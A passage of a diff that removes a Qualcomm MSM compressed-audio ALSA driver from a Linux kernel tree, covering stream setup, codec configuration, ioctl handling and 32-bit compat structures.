.period = SOFT_VOLUME_PERIOD, +- .step = SOFT_VOLUME_STEP, +- .rampingcurve = SOFT_VOLUME_CURVE_LINEAR, +- }; +- +- pr_debug("%s\n", __func__); +- +- params = &soc_prtd->dpcm[substream->stream].hw_params; +- if (runtime->format == SNDRV_PCM_FORMAT_S24_LE) +- bits_per_sample = 24; +- +- ret = q6asm_open_write_v2(prtd->audio_client, +- compr->codec, bits_per_sample); +- if (ret < 0) { +- pr_err("%s: Session out open failed\n", +- __func__); +- return -ENOMEM; +- } +- msm_pcm_routing_reg_phy_stream( +- soc_prtd->dai_link->be_id, +- prtd->audio_client->perf_mode, +- prtd->session_id, +- substream->stream); +- /* +- * the number of channels are required to call volume api +- * accoridngly. So, get channels from hw params +- */ +- if ((params_channels(params) > 0) && +- (params_periods(params) <= runtime->hw.channels_max)) +- prtd->channel_mode = params_channels(params); +- +- ret = q6asm_set_softpause(prtd->audio_client, &softpause); +- if (ret < 0) +- pr_err("%s: Send SoftPause Param failed ret=%d\n", +- __func__, ret); +- ret = q6asm_set_softvolume(prtd->audio_client, &softvol); +- if (ret < 0) +- pr_err("%s: Send SoftVolume Param failed ret=%d\n", +- __func__, ret); +- +- ret = q6asm_set_io_mode(prtd->audio_client, +- (COMPRESSED_IO | ASYNC_IO_MODE)); +- if (ret < 0) { +- pr_err("%s: Set IO mode failed\n", __func__); +- return -ENOMEM; +- } +- +- prtd->pcm_size = snd_pcm_lib_buffer_bytes(substream); +- prtd->pcm_count = snd_pcm_lib_period_bytes(substream); +- prtd->pcm_irq_pos = 0; +- /* rate and channels are sent to audio driver */ +- prtd->samp_rate = runtime->rate; +- prtd->channel_mode = runtime->channels; +- prtd->out_head = 0; +- atomic_set(&prtd->out_count, runtime->periods); +- +- if (prtd->enabled) +- return 0; +- +- switch (compr->info.codec_param.codec.id) { +- case SND_AUDIOCODEC_MP3: +- /* No media format block for mp3 */ +- break; +- case SND_AUDIOCODEC_AAC: +- pr_debug("%s: SND_AUDIOCODEC_AAC\n", __func__); +- memset(&aac_cfg, 0x0, sizeof(struct asm_aac_cfg)); +- aac_cfg.aot = AAC_ENC_MODE_EAAC_P; +- aac_cfg.format = 0x03; +- aac_cfg.ch_cfg = runtime->channels; +- aac_cfg.sample_rate = runtime->rate; +- ret = q6asm_media_format_block_aac(prtd->audio_client, +- &aac_cfg); +- if (ret < 0) +- pr_err("%s: CMD Format block failed\n", __func__); +- break; +- case SND_AUDIOCODEC_AC3: { +- struct snd_dec_ddp *ddp = +- &compr->info.codec_param.codec.options.ddp; +- pr_debug("%s: SND_AUDIOCODEC_AC3\n", __func__); +- ret = msm_compr_send_ddp_cfg(prtd->audio_client, ddp); +- if (ret < 0) +- pr_err("%s: DDP CMD CFG failed\n", __func__); +- break; +- } +- case SND_AUDIOCODEC_EAC3: { +- struct snd_dec_ddp *ddp = +- &compr->info.codec_param.codec.options.ddp; +- pr_debug("%s: SND_AUDIOCODEC_EAC3\n", __func__); +- ret = msm_compr_send_ddp_cfg(prtd->audio_client, ddp); +- if (ret < 0) +- pr_err("%s: DDP CMD CFG failed\n", __func__); +- break; +- } +- default: +- return -EINVAL; +- } +- +- prtd->enabled = 1; +- prtd->cmd_ack = 0; +- prtd->cmd_interrupt = 0; +- +- return 0; +-} +- +-static int msm_compr_capture_prepare(struct snd_pcm_substream *substream) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- struct audio_buffer *buf = prtd->audio_client->port[OUT].buf; +- struct snd_codec *codec = &compr->info.codec_param.codec; +- struct snd_soc_pcm_runtime *soc_prtd = substream->private_data; +- struct audio_aio_read_param read_param; +- uint16_t bits_per_sample = 16; +- int ret = 0; +- int i; +- +- prtd->pcm_size = snd_pcm_lib_buffer_bytes(substream); +- prtd->pcm_count = snd_pcm_lib_period_bytes(substream); +- prtd->pcm_irq_pos = 0; +- +- if (runtime->format == SNDRV_PCM_FORMAT_S24_LE) +- bits_per_sample = 24; +- +- if (!msm_compr_capture_codecs( +- compr->info.codec_param.codec.id)) { +- /* +- * request codec invalid or not supported, +- * use default compress format +- */ +- compr->info.codec_param.codec.id = +- SND_AUDIOCODEC_AMRWB; +- } +- switch (compr->info.codec_param.codec.id) { +- case SND_AUDIOCODEC_AMRWB: +- pr_debug("q6asm_open_read(FORMAT_AMRWB)\n"); +- ret = q6asm_open_read(prtd->audio_client, +- FORMAT_AMRWB); +- if (ret < 0) { +- pr_err("%s: compressed Session out open failed\n", +- __func__); +- return -ENOMEM; +- } +- pr_debug("msm_pcm_routing_reg_phy_stream\n"); +- msm_pcm_routing_reg_phy_stream( +- soc_prtd->dai_link->be_id, +- prtd->audio_client->perf_mode, +- prtd->session_id, substream->stream); +- break; +- default: +- pr_debug("q6asm_open_read_compressed(COMPRESSED_META_DATA_MODE)\n"); +- /* +- ret = q6asm_open_read_compressed(prtd->audio_client, +- MAX_NUM_FRAMES_PER_BUFFER, +- COMPRESSED_META_DATA_MODE); +- */ +- ret = -EINVAL; +- break; +- } +- +- if (ret < 0) { +- pr_err("%s: compressed Session out open failed\n", +- __func__); +- return -ENOMEM; +- } +- +- ret = q6asm_set_io_mode(prtd->audio_client, +- (COMPRESSED_IO | ASYNC_IO_MODE)); +- if (ret < 0) { +- pr_err("%s: Set IO mode failed\n", __func__); +- return -ENOMEM; +- } +- +- if (!msm_compr_capture_codecs(codec->id)) { +- /* +- * request codec invalid or not supported, +- * use default compress format +- */ +- codec->id = SND_AUDIOCODEC_AMRWB; +- } +- /* rate and channels are sent to audio driver */ +- prtd->samp_rate = runtime->rate; +- prtd->channel_mode = runtime->channels; +- +- if (prtd->enabled) +- return ret; +- read_param.len = prtd->pcm_count; +- +- switch (codec->id) { +- case SND_AUDIOCODEC_AMRWB: +- pr_debug("SND_AUDIOCODEC_AMRWB\n"); +- ret = q6asm_enc_cfg_blk_amrwb(prtd->audio_client, +- MAX_NUM_FRAMES_PER_BUFFER, +- /* +- * use fixed band mode and dtx mode +- * band mode - 23.85 kbps +- */ +- AMR_WB_BAND_MODE, +- /* dtx mode - disable */ +- AMR_WB_DTX_MODE); +- if (ret < 0) +- pr_err("%s: CMD Format block failed: %d\n", +- __func__, ret); +- break; +- default: +- pr_debug("No config for codec %d\n", codec->id); +- } +- pr_debug("%s: Samp_rate = %d, Channel = %d, pcm_size = %d,\n" +- "pcm_count = %d, periods = %d\n", +- __func__, prtd->samp_rate, prtd->channel_mode, +- prtd->pcm_size, prtd->pcm_count, runtime->periods); +- +- for (i = 0; i < runtime->periods; i++) { +- read_param.uid = i; +- switch (codec->id) { +- case SND_AUDIOCODEC_AMRWB: +- read_param.len = prtd->pcm_count +- - COMPRE_CAPTURE_HEADER_SIZE; +- read_param.paddr = buf[i].phys +- + COMPRE_CAPTURE_HEADER_SIZE; +- pr_debug("Push buffer [%d] to DSP, paddr: %pK, vaddr: %pK\n", +- i, &read_param.paddr, +- buf[i].data); +- q6asm_async_read(prtd->audio_client, &read_param); +- break; +- default: +- read_param.paddr = buf[i].phys; +- /*q6asm_async_read_compressed(prtd->audio_client, +- &read_param);*/ +- pr_debug("%s: To add support for read compressed\n", +- __func__); +- ret = -EINVAL; +- break; +- } +- } +- prtd->periods = runtime->periods; +- +- prtd->enabled = 1; +- +- return ret; +-} +- +-static int msm_compr_trigger(struct snd_pcm_substream *substream, int cmd) +-{ +- int ret = 0; +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct snd_soc_pcm_runtime *soc_prtd = substream->private_data; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- +- pr_debug("%s\n", __func__); +- switch (cmd) { +- case SNDRV_PCM_TRIGGER_START: +- prtd->pcm_irq_pos = 0; +- +- if (substream->stream == SNDRV_PCM_STREAM_CAPTURE) { +- if (!msm_compr_capture_codecs( +- compr->info.codec_param.codec.id)) { +- /* +- * request codec invalid or not supported, +- * use default compress format +- */ +- compr->info.codec_param.codec.id = +- SND_AUDIOCODEC_AMRWB; +- } +- switch (compr->info.codec_param.codec.id) { +- case SND_AUDIOCODEC_AMRWB: +- break; +- default: +- msm_pcm_routing_reg_psthr_stream( +- soc_prtd->dai_link->be_id, +- prtd->session_id, substream->stream); +- break; +- } +- } +- atomic_set(&prtd->pending_buffer, 1); +- case SNDRV_PCM_TRIGGER_RESUME: +- case SNDRV_PCM_TRIGGER_PAUSE_RELEASE: +- pr_debug("%s: Trigger start\n", __func__); +- q6asm_run_nowait(prtd->audio_client, 0, 0, 0); +- atomic_set(&prtd->start, 1); +- break; +- case SNDRV_PCM_TRIGGER_STOP: +- pr_debug("SNDRV_PCM_TRIGGER_STOP\n"); +- if (substream->stream == SNDRV_PCM_STREAM_CAPTURE) { +- switch (compr->info.codec_param.codec.id) { +- case SND_AUDIOCODEC_AMRWB: +- break; +- default: +- msm_pcm_routing_reg_psthr_stream( +- soc_prtd->dai_link->be_id, +- prtd->session_id, substream->stream); +- break; +- } +- } +- atomic_set(&prtd->start, 0); +- runtime->render_flag &= ~SNDRV_RENDER_STOPPED; +- break; +- case SNDRV_PCM_TRIGGER_SUSPEND: +- case SNDRV_PCM_TRIGGER_PAUSE_PUSH: +- pr_debug("SNDRV_PCM_TRIGGER_PAUSE\n"); +- q6asm_cmd_nowait(prtd->audio_client, CMD_PAUSE); +- atomic_set(&prtd->start, 0); +- runtime->render_flag &= ~SNDRV_RENDER_STOPPED; +- break; +- default: +- ret = -EINVAL; +- break; +- } +- +- return ret; +-} +- +-static void populate_codec_list(struct compr_audio *compr, +- struct snd_pcm_runtime *runtime) +-{ +- pr_debug("%s\n", __func__); +- /* MP3 Block */ +- compr->info.compr_cap.num_codecs = 5; +- compr->info.compr_cap.min_fragment_size = runtime->hw.period_bytes_min; +- compr->info.compr_cap.max_fragment_size = runtime->hw.period_bytes_max; +- compr->info.compr_cap.min_fragments = runtime->hw.periods_min; +- compr->info.compr_cap.max_fragments = runtime->hw.periods_max; +- compr->info.compr_cap.codecs[0] = SND_AUDIOCODEC_MP3; +- compr->info.compr_cap.codecs[1] = SND_AUDIOCODEC_AAC; +- compr->info.compr_cap.codecs[2] = SND_AUDIOCODEC_AC3; +- compr->info.compr_cap.codecs[3] = SND_AUDIOCODEC_EAC3; +- compr->info.compr_cap.codecs[4] = SND_AUDIOCODEC_AMRWB; +- /* Add new codecs here */ +-} +- +-static int msm_compr_open(struct snd_pcm_substream *substream) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr; +- struct msm_audio *prtd; +- int ret = 0; +- +- pr_debug("%s\n", __func__); +- compr = kzalloc(sizeof(struct compr_audio), GFP_KERNEL); +- if (compr == NULL) { +- pr_err("Failed to allocate memory for msm_audio\n"); +- return -ENOMEM; +- } +- prtd = &compr->prtd; +- prtd->substream = substream; +- runtime->render_flag = SNDRV_DMA_MODE; +- prtd->audio_client = q6asm_audio_client_alloc( +- (app_cb)compr_event_handler, compr); +- if (!prtd->audio_client) { +- pr_info("%s: Could not allocate memory\n", __func__); +- kfree(prtd); +- return -ENOMEM; +- } +- +- prtd->audio_client->perf_mode = false; +- pr_info("%s: session ID %d\n", __func__, prtd->audio_client->session); +- +- prtd->session_id = prtd->audio_client->session; +- +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) { +- runtime->hw = msm_compr_hardware_playback; +- prtd->cmd_ack = 1; +- } else { +- runtime->hw = msm_compr_hardware_capture; +- } +- +- +- ret = snd_pcm_hw_constraint_list(runtime, 0, +- SNDRV_PCM_HW_PARAM_RATE, +- &constraints_sample_rates); +- if (ret < 0) +- pr_info("snd_pcm_hw_constraint_list failed\n"); +- /* Ensure that buffer size is a multiple of period size */ +- ret = snd_pcm_hw_constraint_integer(runtime, +- SNDRV_PCM_HW_PARAM_PERIODS); +- if (ret < 0) +- pr_info("snd_pcm_hw_constraint_integer failed\n"); +- +- prtd->dsp_cnt = 0; +- atomic_set(&prtd->pending_buffer, 1); +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) +- compr->codec = FORMAT_MP3; +- populate_codec_list(compr, runtime); +- runtime->private_data = compr; +- atomic_set(&prtd->eos, 0); +- return 0; +-} +- +-static int compressed_set_volume(struct msm_audio *prtd, uint32_t volume) +-{ +- int rc = 0; +- int avg_vol = 0; +- int lgain = (volume >> 16) & 0xFFFF; +- int rgain = volume & 0xFFFF; +- if (prtd && prtd->audio_client) { +- pr_debug("%s: channels %d volume 0x%x\n", __func__, +- prtd->channel_mode, volume); +- if ((prtd->channel_mode == 2) && +- (lgain != rgain)) { +- pr_debug("%s: call q6asm_set_lrgain\n", __func__); +- rc = q6asm_set_lrgain(prtd->audio_client, lgain, rgain); +- } else { +- avg_vol = (lgain + rgain)/2; +- pr_debug("%s: call q6asm_set_volume\n", __func__); +- rc = q6asm_set_volume(prtd->audio_client, avg_vol); +- } +- if (rc < 0) { +- pr_err("%s: Send Volume command failed rc=%d\n", +- __func__, rc); +- } +- } +- return rc; +-} +- +-static int msm_compr_playback_close(struct snd_pcm_substream *substream) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct snd_soc_pcm_runtime *soc_prtd = substream->private_data; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- int dir = 0; +- +- pr_debug("%s\n", __func__); +- +- dir = IN; +- atomic_set(&prtd->pending_buffer, 0); +- +- prtd->pcm_irq_pos = 0; +- q6asm_cmd(prtd->audio_client, CMD_CLOSE); +- q6asm_audio_client_buf_free_contiguous(dir, +- prtd->audio_client); +- msm_pcm_routing_dereg_phy_stream( +- soc_prtd->dai_link->be_id, +- SNDRV_PCM_STREAM_PLAYBACK); +- q6asm_audio_client_free(prtd->audio_client); +- kfree(prtd); +- return 0; +-} +- +-static int msm_compr_capture_close(struct snd_pcm_substream *substream) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct snd_soc_pcm_runtime *soc_prtd = substream->private_data; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- int dir = OUT; +- +- pr_debug("%s\n", __func__); +- atomic_set(&prtd->pending_buffer, 0); +- q6asm_cmd(prtd->audio_client, CMD_CLOSE); +- q6asm_audio_client_buf_free_contiguous(dir, +- prtd->audio_client); +- msm_pcm_routing_dereg_phy_stream(soc_prtd->dai_link->be_id, +- SNDRV_PCM_STREAM_CAPTURE); +- q6asm_audio_client_free(prtd->audio_client); +- kfree(prtd); +- return 0; +-} +- +-static int msm_compr_close(struct snd_pcm_substream *substream) +-{ +- int ret = 0; +- +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) +- ret = msm_compr_playback_close(substream); +- else if (substream->stream == SNDRV_PCM_STREAM_CAPTURE) +- ret = msm_compr_capture_close(substream); +- return ret; +-} +- +-static int msm_compr_prepare(struct snd_pcm_substream *substream) +-{ +- int ret = 0; +- +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) +- ret = msm_compr_playback_prepare(substream); +- else if (substream->stream == SNDRV_PCM_STREAM_CAPTURE) +- ret = msm_compr_capture_prepare(substream); +- return ret; +-} +- +-static snd_pcm_uframes_t msm_compr_pointer(struct snd_pcm_substream *substream) +-{ +- +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- +- if (prtd->pcm_irq_pos >= prtd->pcm_size) +- prtd->pcm_irq_pos = 0; +- +- pr_debug("%s: pcm_irq_pos = %d, pcm_size = %d, sample_bits = %d,\n" +- "frame_bits = %d\n", __func__, prtd->pcm_irq_pos, +- prtd->pcm_size, runtime->sample_bits, +- runtime->frame_bits); +- return bytes_to_frames(runtime, (prtd->pcm_irq_pos)); +-} +- +-static int msm_compr_mmap(struct snd_pcm_substream *substream, +- struct vm_area_struct *vma) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct msm_audio *prtd = runtime->private_data; +- struct audio_client *ac = prtd->audio_client; +- struct audio_port_data *apd = ac->port; +- struct audio_buffer *ab; +- int dir = -1; +- +- prtd->mmap_flag = 1; +- runtime->render_flag = SNDRV_NON_DMA_MODE; +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) +- dir = IN; +- else +- dir = OUT; +- ab = &(apd[dir].buf[0]); +- +- return msm_audio_ion_mmap(ab, vma); +-} +- +-static int msm_compr_hw_params(struct snd_pcm_substream *substream, +- struct snd_pcm_hw_params *params) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- struct snd_dma_buffer *dma_buf = &substream->dma_buffer; +- struct audio_buffer *buf; +- int dir, ret; +- +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) +- dir = IN; +- else +- dir = OUT; +- /* Modifying kernel hardware params based on userspace config */ +- if (params_periods(params) > 0 && +- (params_periods(params) != runtime->hw.periods_max)) { +- runtime->hw.periods_max = params_periods(params); +- } +- if (params_period_bytes(params) > 0 && +- (params_period_bytes(params) != runtime->hw.period_bytes_min)) { +- runtime->hw.period_bytes_min = params_period_bytes(params); +- } +- runtime->hw.buffer_bytes_max = +- runtime->hw.period_bytes_min * runtime->hw.periods_max; +- pr_debug("allocate %zd buffers each of size %d\n", +- runtime->hw.period_bytes_min, +- runtime->hw.periods_max); +- ret = q6asm_audio_client_buf_alloc_contiguous(dir, +- prtd->audio_client, +- runtime->hw.period_bytes_min, +- runtime->hw.periods_max); +- if (ret < 0) { +- pr_err("Audio Start: Buffer Allocation failed rc = %d\n", +- ret); +- return -ENOMEM; +- } +- buf = prtd->audio_client->port[dir].buf; +- +- dma_buf->dev.type = SNDRV_DMA_TYPE_DEV; +- dma_buf->dev.dev = substream->pcm->card->dev; +- dma_buf->private_data = NULL; +- dma_buf->area = buf[0].data; +- dma_buf->addr = buf[0].phys; +- dma_buf->bytes = runtime->hw.buffer_bytes_max; +- +- pr_debug("%s: buf[%pK]dma_buf->area[%pK]dma_buf->addr[%pK]\n" +- "dma_buf->bytes[%zd]\n", __func__, +- (void *)buf, (void *)dma_buf->area, +- &dma_buf->addr, dma_buf->bytes); +- if (!dma_buf->area) +- return -ENOMEM; +- +- snd_pcm_set_runtime_buffer(substream, &substream->dma_buffer); +- return 0; +-} +- +-static int msm_compr_ioctl_shared(struct snd_pcm_substream *substream, +- unsigned int cmd, void *arg) +-{ +- int rc = 0; +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr = runtime->private_data; +- struct msm_audio *prtd = &compr->prtd; +- uint64_t timestamp; +- uint64_t temp; +- +- switch (cmd) { +- case SNDRV_COMPRESS_TSTAMP: { +- struct snd_compr_tstamp *tstamp; +- pr_debug("SNDRV_COMPRESS_TSTAMP\n"); +- tstamp = arg; +- memset(tstamp, 0x0, sizeof(*tstamp)); +- rc = q6asm_get_session_time(prtd->audio_client, ×tamp); +- if (rc < 0) { +- pr_err("%s: Get Session Time return value =%lld\n", +- __func__, timestamp); +- return -EAGAIN; +- } +- temp = (timestamp * 2 * runtime->channels); +- temp = temp * (runtime->rate/1000); +- temp = div_u64(temp, 1000); +- tstamp->sampling_rate = runtime->rate; +- tstamp->timestamp = timestamp; +- pr_debug("%s: bytes_consumed:,timestamp = %lld,\n", +- __func__, +- tstamp->timestamp); +- return 0; +- } +- case SNDRV_COMPRESS_GET_CAPS: { +- struct snd_compr_caps *caps; +- caps = arg; +- memset(caps, 0, sizeof(*caps)); +- pr_debug("SNDRV_COMPRESS_GET_CAPS\n"); +- memcpy(caps, &compr->info.compr_cap, sizeof(*caps)); +- return 0; +- } +- case SNDRV_COMPRESS_SET_PARAMS: +- pr_debug("SNDRV_COMPRESS_SET_PARAMS:\n"); +- memcpy(&compr->info.codec_param, (void *) arg, +- sizeof(struct snd_compr_params)); +- switch (compr->info.codec_param.codec.id) { +- case SND_AUDIOCODEC_MP3: +- /* For MP3 we dont need any other parameter */ +- pr_debug("SND_AUDIOCODEC_MP3\n"); +- compr->codec = FORMAT_MP3; +- break; +- case SND_AUDIOCODEC_AAC: +- pr_debug("SND_AUDIOCODEC_AAC\n"); +- compr->codec = FORMAT_MPEG4_AAC; +- break; +- case SND_AUDIOCODEC_AC3: { +- char params_value[MAX_AC3_PARAM_SIZE]; +- int *params_value_data = (int *)params_value; +- /* 36 is the max param length for ddp */ +- int i; +- struct snd_dec_ddp *ddp = +- &compr->info.codec_param.codec.options.ddp; +- uint32_t params_length = 0; +- memset(params_value, 0, MAX_AC3_PARAM_SIZE); +- /* check integer overflow */ +- if (ddp->params_length > UINT_MAX/sizeof(int)) { +- pr_err("%s: Integer overflow ddp->params_length %d\n", +- __func__, ddp->params_length); +- return -EINVAL; +- } +- params_length = ddp->params_length*sizeof(int); +- if (params_length > MAX_AC3_PARAM_SIZE) { +- /*MAX is 36*sizeof(int) this should not happen*/ +- pr_err("%s: params_length(%d) is greater than %zd\n", +- __func__, params_length, MAX_AC3_PARAM_SIZE); +- return -EINVAL; +- } +- pr_debug("SND_AUDIOCODEC_AC3\n"); +- compr->codec = FORMAT_AC3; +- pr_debug("params_length: %d\n", ddp->params_length); +- for (i = 0; i < params_length/sizeof(int); i++) +- pr_debug("params_value[%d]: %x\n", i, +- params_value_data[i]); +- for (i = 0; i < ddp->params_length/2; i++) { +- ddp->params_id[i] = params_value_data[2*i]; +- ddp->params_value[i] = params_value_data[2*i+1]; +- } +- if (atomic_read(&prtd->start)) { +- rc = msm_compr_send_ddp_cfg(prtd->audio_client, +- ddp); +- if (rc < 0) +- pr_err("%s: DDP CMD CFG failed\n", +- __func__); +- } +- break; +- } +- case SND_AUDIOCODEC_EAC3: { +- char params_value[MAX_AC3_PARAM_SIZE]; +- int *params_value_data = (int *)params_value; +- /* 36 is the max param length for ddp */ +- int i; +- struct snd_dec_ddp *ddp = +- &compr->info.codec_param.codec.options.ddp; +- uint32_t params_length = 0; +- memset(params_value, 0, MAX_AC3_PARAM_SIZE); +- /* check integer overflow */ +- if (ddp->params_length > UINT_MAX/sizeof(int)) { +- pr_err("%s: Integer overflow ddp->params_length %d\n", +- __func__, ddp->params_length); +- return -EINVAL; +- } +- params_length = ddp->params_length*sizeof(int); +- if (params_length > MAX_AC3_PARAM_SIZE) { +- /*MAX is 36*sizeof(int) this should not happen*/ +- pr_err("%s: params_length(%d) is greater than %zd\n", +- __func__, params_length, MAX_AC3_PARAM_SIZE); +- return -EINVAL; +- } +- pr_debug("SND_AUDIOCODEC_EAC3\n"); +- compr->codec = FORMAT_EAC3; +- pr_debug("params_length: %d\n", ddp->params_length); +- for (i = 0; i < ddp->params_length; i++) +- pr_debug("params_value[%d]: %x\n", i, +- params_value_data[i]); +- for (i = 0; i < ddp->params_length/2; i++) { +- ddp->params_id[i] = params_value_data[2*i]; +- ddp->params_value[i] = params_value_data[2*i+1]; +- } +- if (atomic_read(&prtd->start)) { +- rc = msm_compr_send_ddp_cfg(prtd->audio_client, +- ddp); +- if (rc < 0) +- pr_err("%s: DDP CMD CFG failed\n", +- __func__); +- } +- break; +- } +- default: +- pr_debug("FORMAT_LINEAR_PCM\n"); +- compr->codec = FORMAT_LINEAR_PCM; +- break; +- } +- return 0; +- case SNDRV_PCM_IOCTL1_RESET: +- pr_debug("SNDRV_PCM_IOCTL1_RESET\n"); +- /* Flush only when session is started during CAPTURE, +- while PLAYBACK has no such restriction. */ +- if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK || +- (substream->stream == SNDRV_PCM_STREAM_CAPTURE && +- atomic_read(&prtd->start))) { +- if (atomic_read(&prtd->eos)) { +- prtd->cmd_interrupt = 1; +- wake_up(&the_locks.eos_wait); +- atomic_set(&prtd->eos, 0); +- } +- +- /* A unlikely race condition possible with FLUSH +- DRAIN if ack is set by flush and reset by drain */ +- prtd->cmd_ack = 0; +- rc = q6asm_cmd(prtd->audio_client, CMD_FLUSH); +- if (rc < 0) { +- pr_err("%s: flush cmd failed rc=%d\n", +- __func__, rc); +- return rc; +- } +- rc = wait_event_timeout(the_locks.flush_wait, +- prtd->cmd_ack, 5 * HZ); +- if (!rc) +- pr_err("Flush cmd timeout\n"); +- prtd->pcm_irq_pos = 0; +- } +- break; +- case SNDRV_COMPRESS_DRAIN: +- pr_debug("%s: SNDRV_COMPRESS_DRAIN\n", __func__); +- if (atomic_read(&prtd->pending_buffer)) { +- pr_debug("%s: no pending writes, drain would block\n", +- __func__); +- return -EWOULDBLOCK; +- } +- +- atomic_set(&prtd->eos, 1); +- atomic_set(&prtd->pending_buffer, 0); +- prtd->cmd_ack = 0; +- q6asm_cmd_nowait(prtd->audio_client, CMD_EOS); +- /* Wait indefinitely for DRAIN. Flush can also signal this*/ +- rc = wait_event_interruptible(the_locks.eos_wait, +- (prtd->cmd_ack || prtd->cmd_interrupt)); +- +- if (rc < 0) +- pr_err("EOS cmd interrupted\n"); +- pr_debug("%s: SNDRV_COMPRESS_DRAIN out of wait\n", __func__); +- +- if (prtd->cmd_interrupt) +- rc = -EINTR; +- +- prtd->cmd_interrupt = 0; +- return rc; +- default: +- break; +- } +- return snd_pcm_lib_ioctl(substream, cmd, arg); +-} +-#ifdef CONFIG_COMPAT +-struct snd_enc_wma32 { +- u32 super_block_align; /* WMA Type-specific data */ +- u32 encodeopt1; +- u32 encodeopt2; +-}; +- +-struct snd_enc_vorbis32 { +- s32 quality; +- u32 managed; +- u32 max_bit_rate; +- u32 min_bit_rate; +- u32 downmix; +-}; +- +-struct snd_enc_real32 { +- u32 quant_bits; +- u32 start_region; +- u32 num_regions; +-}; +- +-struct snd_enc_flac32 { +- u32 num; +- u32 gain; +-}; +- +-struct snd_enc_generic32 { +- u32 bw; /* encoder bandwidth */ +- s32 reserved[15]; +-}; +-struct snd_dec_ddp32 { +- u32 params_length; +- u32 params_id[18]; +- u32 params_value[18]; +-}; +- +-union snd_codec_options32 { +- struct snd_enc_wma32 wma; +- struct snd_enc_vorbis32 vorbis; +- struct snd_enc_real32 real; +- struct snd_enc_flac32 flac; +- struct snd_enc_generic32 generic; +- struct snd_dec_ddp32 ddp; +-}; +- +-struct snd_codec32 { +- u32 id; +- u32 ch_in; +- u32 ch_out; +- u32 sample_rate; +- u32 bit_rate; +- u32 rate_control; +- u32 profile; +- u32 level; +- u32 ch_mode; +- u32 format; +- u32 align; +- union snd_codec_options32 options; +- u32 reserved[3]; +-}; +- +-struct snd_compressed_buffer32 { +- u32 fragment_size; +- u32 fragments; +-}; +- +-struct snd_compr_params32 { +- struct snd_compressed_buffer32 buffer; +- struct snd_codec32 codec; +- u8 no_wake_mode; +-}; +- +-struct snd_compr_caps32 { +- u32 num_codecs; +- u32 direction; +- u32 min_fragment_size; +- u32 max_fragment_size; +- u32 min_fragments; +- u32 max_fragments; +- u32 codecs[MAX_NUM_CODECS]; +- u32 reserved[11]; +-}; +-struct snd_compr_tstamp32 { +- u32 byte_offset; +- u32 copied_total; +- compat_ulong_t pcm_frames; +- compat_ulong_t pcm_io_frames; +- u32 sampling_rate; +- compat_u64 timestamp; +-}; +-enum { +- SNDRV_COMPRESS_TSTAMP32 = _IOR('C', 0x20, struct snd_compr_tstamp32), +- SNDRV_COMPRESS_GET_CAPS32 = _IOWR('C', 0x10, struct snd_compr_caps32), +- SNDRV_COMPRESS_SET_PARAMS32 = +- _IOW('C', 0x12, struct snd_compr_params32), +-}; +-static int msm_compr_compat_ioctl(struct snd_pcm_substream *substream, +- unsigned int cmd, void *arg) +-{ +- int err = 0; +- switch (cmd) { +- case SNDRV_COMPRESS_TSTAMP32: { +- struct snd_compr_tstamp tstamp; +- struct snd_compr_tstamp32 tstamp32; +- memset(&tstamp, 0, sizeof(tstamp)); +- memset(&tstamp32, 0, sizeof(tstamp32)); +- cmd = SNDRV_COMPRESS_TSTAMP; +- err = msm_compr_ioctl_shared(substream, cmd, &tstamp); +- if (err) { +- pr_err("%s: COMPRESS_TSTAMP failed rc %d\n", +- __func__, err); +- goto bail_out; +- } +- tstamp32.byte_offset = tstamp.byte_offset; +- tstamp32.copied_total = tstamp.copied_total; +- tstamp32.pcm_frames = tstamp.pcm_frames; +- tstamp32.pcm_io_frames = tstamp.pcm_io_frames; +- tstamp32.sampling_rate = tstamp.sampling_rate; +- tstamp32.timestamp = tstamp.timestamp; +- if (copy_to_user(arg, &tstamp32, sizeof(tstamp32))) { +- pr_err("%s: copytouser failed COMPRESS_TSTAMP32\n", +- __func__); +- err = -EFAULT; +- } +- break; +- } +- case SNDRV_COMPRESS_GET_CAPS32: { +- struct snd_compr_caps caps; +- struct snd_compr_caps32 caps32; +- u32 i; +- memset(&caps, 0, sizeof(caps)); +- memset(&caps32, 0, sizeof(caps32)); +- cmd = SNDRV_COMPRESS_GET_CAPS; +- err = msm_compr_ioctl_shared(substream, cmd, &caps); +- if (err) { +- pr_err("%s: GET_CAPS failed rc %d\n", +- __func__, err); +- goto bail_out; +- } +- pr_debug("SNDRV_COMPRESS_GET_CAPS_32\n"); +- if (!err && caps.num_codecs >= MAX_NUM_CODECS) { +- pr_err("%s: Invalid number of codecs\n", __func__); +- err = -EINVAL; +- goto bail_out; +- } +- caps32.direction = caps.direction; +- caps32.max_fragment_size = caps.max_fragment_size; +- caps32.max_fragments = caps.max_fragments; +- caps32.min_fragment_size = caps.min_fragment_size; +- caps32.num_codecs = caps.num_codecs; +- for (i = 0; i < caps.num_codecs; i++) +- caps32.codecs[i] = caps.codecs[i]; +- if (copy_to_user(arg, &caps32, sizeof(caps32))) { +- pr_err("%s: copytouser failed COMPRESS_GETCAPS32\n", +- __func__); +- err = -EFAULT; +- } +- break; +- } +- case SNDRV_COMPRESS_SET_PARAMS32: { +- struct snd_compr_params32 params32; +- struct snd_compr_params params; +- 